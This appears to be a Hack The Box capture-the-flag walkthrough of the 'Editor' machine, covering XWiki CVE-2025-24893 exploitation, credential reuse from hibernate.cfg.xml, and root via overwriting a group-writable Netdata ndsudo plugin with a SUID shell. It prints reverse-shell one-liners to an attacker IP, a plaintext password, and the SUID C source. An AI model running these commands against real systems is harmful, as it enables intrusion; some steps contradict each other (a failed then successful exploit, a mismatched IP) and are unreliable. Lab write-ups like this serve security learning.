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Hack The Box: Editor Machine Walkthrugh – Easy Difficulity
Introduction to Editor:
In this write-up, we will explore the “Editor” machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the “Editor” machine from Hack The Box by achieving the following objectives:
User Flag:
Initial enumeration identifies an XWiki service on port 8080. The footer reveals the exact version, which is vulnerable to an unauthenticated Solr RCE (CVE-2025-24893). Running a public proof of concept provides a reverse shell as the xwiki service account. Exploring the installation directory reveals the hibernate.cfg.xml file, where plaintext database credentials are stored. These credentials are valid for the local user oliver as well. Using them for SSH access grants a stable shell as oliver, which makes it possible to read the user flag.
Root Flag:
Several plugin files are owned by root, set as SUID, and still group-writable. Since oliver belongs to the netdata group, these files can be modified directly. Additionally, this access allows a small SUID helper to be compiled and uploaded, which is then used to overwrite the ndsudo plugin. Afterwards, Netdata executes this plugin with root privileges during normal operation, and therefore, the replacement immediately forces the service to run the injected payload.
Enumerating the Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
nmap -sV -sC -oA initial 10.10.11.80Nmap Output:
┌─[dark@parrot]─[~/Documents/htb/editor]
└──╼ $nmap -sV -sC -oA initial 10.10.11.80
# Nmap 7.94SVN scan initiated Wed Dec 3 23:11:12 2025 as: nmap -sV -sC -oA initial 10.10.11.80
Nmap scan report for 10.10.11.80
Host is up (0.041s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
8080/tcp open http Jetty 10.0.20
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/
|_/xwiki/bin/undelete/
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.10.11.80:8080/xwiki/bin/view/Main/
| http-methods:
|_ Potentially risky methods: PROPFIND LOCK UNLOCK
|_http-server-header: Jetty(10.0.20)
| http-cookie-flags:
| /:
| JSESSIONID:
|_ httponly flag not set
|_http-open-proxy: Proxy might be redirecting requests
| http-webdav-scan:
| Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
| WebDAV type: Unknown
|_ Server Type: Jetty(10.0.20)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelAnalysis:
- Port 22 (SSH): OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 – standard secure shell service for remote access.
- Port 80 (HTTP): nginx 1.18.0 (Ubuntu) – web server acting as reverse proxy, redirects to http://editor.htb/.
- Port 8080 (HTTP): Jetty 10.0.20 running XWiki – main application with WebDAV enabled, missing HttpOnly on JSESSIONID, and robots.txt exposing edit/save/delete paths.
What is XWiki?
XWiki is a free, open-source enterprise wiki platform written in Java. Think of it as a super-powered Wikipedia-style software that companies or teams install on their own servers to create internal knowledge bases, documentation sites, collaborative portals, etc.
Web Enumeration:
Web Application Exploration:
Perform web enumeration to discover potentially exploitable directories and files.
Landing on http://editor.htb, we’re greeted by the homepage of “SimplistCode Pro” – a sleek, modern web-based code editor that looks almost identical to VS Code, complete with Ace Editor, file tree, and integrated terminal.
Accessing http://10.10.11.180:8080/xwiki/bin/view/Main/ reveals the built-in XWiki documentation page for SimplistCode Pro – confirming the actual editor runs on an XWiki instance at port 8080.
After discovering that the web service on port 8080 is an XWiki instance and confirming the exact version 15.10.8 from the footer banner, we immediately searched for public exploits.
CVE-2025-24893: Unauthenticated Remote Code Execution in XWiki Platform
CVE-2025-24893 is a critical unauthenticated remote code execution (RCE) vulnerability in the XWiki Platform, an open-source enterprise wiki software. It allows any guest user (no login required) to execute arbitrary Groovy code on the server by sending a specially crafted request to the SolrSearch macro. This flaw stems from improper sandboxing and sanitisation of Groovy expressions in asynchronous macro rendering, enabling attackers to inject and execute malicious code via search parameters
This version is vulnerable to CVE-2025-24893 – an unauthenticated Remote Code Execution in the Solr search component via malicious Groovy templates.
Progressing through exploit trials
We clone the public PoC from gunzf0x’s GitHub repository: git clone https://github.com/gunzf0x/CVE-2025-24893
Testing the exploit syntax first – the script help shows mandatory flags -t (target URL) and -c (command).
Setting up our listener with nc -lvnp 9007 to catch the reverse shell.
We launch the final exploit python3 CVE-2025-24893.py -t http://editor.htb:8080/ -c ‘bash -c “bash -i >/dev/tcp/10.10.14.189/9007 0>&1″‘ -e /bin/bash
Unfortunately, the CVE-2025-24893 exploit failed to pop a shell — no connection back to our listener—time to pivot and hunt for another path.
The exploit worked perfectly! Final command that popped the shell: python3 CVE-2025-24893.py -t http://editor.htb:8080/ -c ‘busybox nc 10.10.14.189 9007 -e /bin/bash’ The script injected Groovy code via the vulnerable Solr search endpoint, executed busybox nc … -e /bin/bash, and gave us our reverse shell as the xwiki system user.
Achieving Initial Foothold as xwiki User on Editor machine via CVE-2025-24893
Back on our attacker box, we fire up nc -lvnp 9007. Moments later, the listener catches a connection from 10.10.11.80:59508. Running id confirms we successfully landed as xwiki (uid=997) – the exact user running the XWiki Jetty instance. Initial foothold achieved!
The shell is raw and non-interactive. We immediately stabilize it: which python3 → /usr/bin/python3 python3 -c ‘import pty;pty.spawn(“/bin/bash”)’ Prompt changes to xwiki@editor:/usr/lib/xwiki-jetty$ – full TTY achieved, background color and everything.
Inside the limited shell as xwiki@editor, we see another user home directory called oliver. Attempting cd oliver instantly fails with Permission denied – no direct access yet, but we now know the real target user is oliver.
Quick enumeration with find / -name “xwiki” 2>/dev/null reveals all XWiki-related paths (config, data store, logs, webapps, etc.). Confirms we’re deep inside the actual XWiki installation running under Jetty.
ls in the same directory reveals the classic XWiki/Jetty config files, including the juicy hibernate.cfg.xml – this file almost always contains plaintext database credentials.
hibernate.cfg.xml credential reuse on editor machine
Full cat hibernate.cfg.xml confirms this is the real DB password used by the application. Classic misconfiguration: developers reuse the same password for the DB user and the system user oliver.
cat hibernate.cfg.xml | grep password instantly dumps multiple entries, and the first one is: theEd1t0rTeam99 Bingo – plaintext password for the XWiki database (and very often reused elsewhere).
While poking around /usr/lib/xwiki/WEB-INF/, we try su oliver and blindly guess the password theEd1t0rTeam99 (common pattern on HTB). It fails with an Authentication failure – wrong password, but we now know the exact target user is Oliver.
Attempting to SSH directly as xwiki@editor.htb results in “Permission denied, please try again.” (twice). Attackers cannot log in via password-based SSH because the xwiki system account lacks a valid password (a common setup for service accounts). We can only interact with the XWiki user via the reverse shell we already have from the CVE exploit. No direct SSH access here.
SSH as oliver
From our attacker box we can now SSH directly as oliver (optional, cleaner shell): ssh oliver@editor.htb → password theEd1t0rTeam99 → clean login
User flag successfully grabbed! We’re officially the oliver user and one step closer to root.
Escalate to Root Privileges Access on the Editor machine
Privilege Escalation:
Sorry, user oliver may not run sudo on editor. No passwordless sudo, no obvious entry in /etc/sudoers.
Only oliver’s normal processes visible: systemd user instance and our own bash/ps. No weird cronjobs, no suspicious parent processes. Confirms we need a deeper, non-obvious privesc vector.
After stabilising our shell as oliver, we immediately start hunting for privilege-escalation vectors. First, we run find / -perm 4000 2>/dev/null to enumerate SUID binaries – the output returns nothing interesting, instantly ruling out the classic GTFOBins path. To be thorough, we double-check find / -user root -perm 4000 2>/dev/null in case any root-owned SUIDs were missed, but the result is the same: no promising binaries. Straight-up SUID exploitation is off the table, so we pivot to deeper enumeration with LinPEAS and other techniques. Root will require a less obvious vector.
Linpeas Enumeration
Downloading LinPEAS into /dev/shm (tempfs, stays hidden and writable).
As oliver, we fire up LinPEAS in /dev/shm: ./linpeas.sh. The legendary green ASCII art confirms it’s running and scanning.
LinPEAS lights up the intended privesc path in bright red: a whole directory of Netdata plugins under /opt/netdata/usr/libexec/netdata/plugins.d/ are owned by root, belong to the netdata group, have the SUID bit set, and are writable by the group. Since groups oliver shows we’re in the netdata group, we can overwrite any of these binaries with our own malicious payload and instantly get a root shell the next time Netdata executes the plugin (which happens automatically every few seconds). Classic Netdata SUID misconfiguration, game over for root.
The key section “Files with Interesting Permissions” + “SUID – Check easy privesc” shows multiple Netdata plugins (like go.d.plugin, ndsudo, network-viewer.plugin, etc.) owned by root but executable/writable by the netdata group or others. Classic Netdata misconfiguration on HTB boxes.
dark.c – our tiny SUID root shell source code:
#include <unistd.h>
int main() {
setuid(0); setgid(0);
execle("/bin/bash", "bash", NULL);
return 0;
}Compiled locally with gcc dark.c -o nvme, this will be uploaded and used to overwrite one of the writable Netdata SUID plugins.
why Nvme?
We compile our SUID shell as nvme to specifically target the Netdata plugin ndsudo at /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo. This file is root-owned, SUID, belongs to the netdata group, and is group-writable. Since oliver is in the netdata group, we can overwrite it directly. Netdata periodically runs ndsudo as root, so replacing it with our payload triggers an instant root shell. The name nvme is short, harmless-looking, and doesn’t clash with real system binaries, making it the perfect stealthy replacement. Upload → overwrite ndsudo → wait a few seconds → root. Simple and deadly effective
curl our compiled nvme from the attacker machine → download complete
chmod +x nvme → make it executable. Temporarily prepend /dev/shm to PATH so we can test it locally
When testing our malicious nvme binary with the existing ndsudo plugin (/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list), it fails with “nvme : not available in PATH.” This is expected because we haven’t overwritten ndsudo yet—it’s still the original binary, and our nvme isn’t in the PATH for this test command. It’s a quick sanity check to confirm the setup before the real overwrite. Next, we’ll copy nvme directly over ndsudo to hijack it.
An ls in /dev/shm now shows nvme is missing — we already moved or deleted it during testing. No problem: we just re-download it with curl nvme, chmod +x nvme, and we’re back in business, ready for the final overwrite of ndsudo. Payload restored, stealth intact.
We re-download our malicious nvme, chmod +x it, prepend /dev/shm to PATH, and run the trigger command /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-listWe re-download our malicious nvme, chmod +x it, prepend /dev/shm to PATH, and run the trigger command /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
Root flag captured! With the Netdata plugin overwritten and triggered, we’ve spawned our SUID shell as root. Machine fully owned.
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